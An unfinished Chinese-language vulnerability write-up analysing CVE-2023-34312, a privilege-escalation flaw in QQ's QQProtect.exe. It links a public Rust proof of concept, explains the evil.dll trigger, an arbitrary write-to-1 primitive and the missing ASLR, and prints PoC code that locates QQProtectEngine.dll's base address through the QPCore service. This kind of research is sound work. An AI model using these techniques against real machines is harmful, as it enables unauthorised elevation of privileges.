关于QQ提权漏洞CVE-2023-34312的分析
!!未完待续!!
PoC分析
PoC地址:https://github.com/vi3t1/qq-tim-elevation,用rust写的按照教程编译好了就可以直接打了
由于没有开启ASLR保护所以很稳


接着是分析一下PoC
触发
触发方式是.\QQProtect .\evil.dll,同时必须保持tinyxml.dll在同一目录下,这里用QQ9.7.7举例子。

首先是GetCommandLineW获得启动参数,接着判断置否存在下列关键参数,然后不存在关键参数直接到了StartAddress
使用QQProtectEngine.dll中的RunQQProtect,设置回调函数sub_40C950

回调函数中的a2指针可以将任何地址的值设置为参数分析时的参数个数值,也就是 1。


那么现在我们就有了将任意地址写为1的能力,恰好QQProtect.exe没有开启ASLR保护,若开启的话下图应该存在IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE

PoC
和上文中结合起来,在QQProtect中导入了tinyxml.dll,所以可以修改这个dll的内容来执行攻击。

-
PoC首先获取了
evil.dll的路径,1
2
3let evil_dllpath: String = std::env::args().nth(1).unwrap();
let evil_dllpath: std::path::PathBuf = std::path::Path::new(&evil_dllpath).canonicalize().unwrap();
println!("evil dll: {}", evil_dllpath.display());接着打开服务获得
QQProtectEngine.dll的基地址(因为他开启了ASLR保护)。

在PoC中打开了Windows的QPCore服务然后获取配置信息,从配置信息中提取出qqprotect.exe和QQProtectEngine.dll的路径。
由于LoadLibraryExW中使用了DONT_RESOLVE_DLL_REFERENCES所以不会调用DLLMain,若函数成功,则返回值是已加载模块的句柄,从句柄的第一个值提取出加载的地址。注意的是,这里是首先加载tinyxml.dll,所以加载的QQProtectEngine.dll的地址在这里同一样适用,这样就获得了QQProtectEngine.dll的基地址。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15fn get_qqprotectengine_dllbase() -> u32 {
let manager = ServiceManager::local_computer(None::<&str>, ServiceManagerAccess::ENUMERATE_SERVICE).unwrap();
let service = manager.open_service("QPCore", ServiceAccess::QUERY_CONFIG).unwrap();
let service_config = service.query_config().unwrap();
let qqprotect_exe = windows_args::ArgsOs::parse_cmd(service_config.executable_path.as_os_str()).next().unwrap();
let qqprotectengine_dll = std::path::Path::new(&qqprotect_exe).parent().unwrap().join("QQProtectEngine.dll");
unsafe {
let h = LoadLibraryExW(PCWSTR(HSTRING::from(qqprotectengine_dll.as_path()).as_ptr()), HANDLE::default(), DONT_RESOLVE_DLL_REFERENCES).unwrap();
let base = h.0 as u32;
FreeLibrary(h);
return base;
}
} -
创建IPC进程间通讯
如何找到IPC通讯,可以在https://learn.microsoft.com/en-us/sysinternals/downloads/pipelist安装`pipelist`查看所有的命名管道通讯

那么在
QQProtect.exe一定会有一个连接命名管道的地方,在QQProtectEnginee.dll中使用
找到对应的管道命名

和

(回调分析麻了)之后会进入QSection.dll中的函数,具体逆向可以看B战大佬的视频:https://www.bilibili.com/video/BV1wm4y1E7TL

很像一个结构体。加载了
QPSection后调用了6号导出函数,之后还需要对结构体进行逆向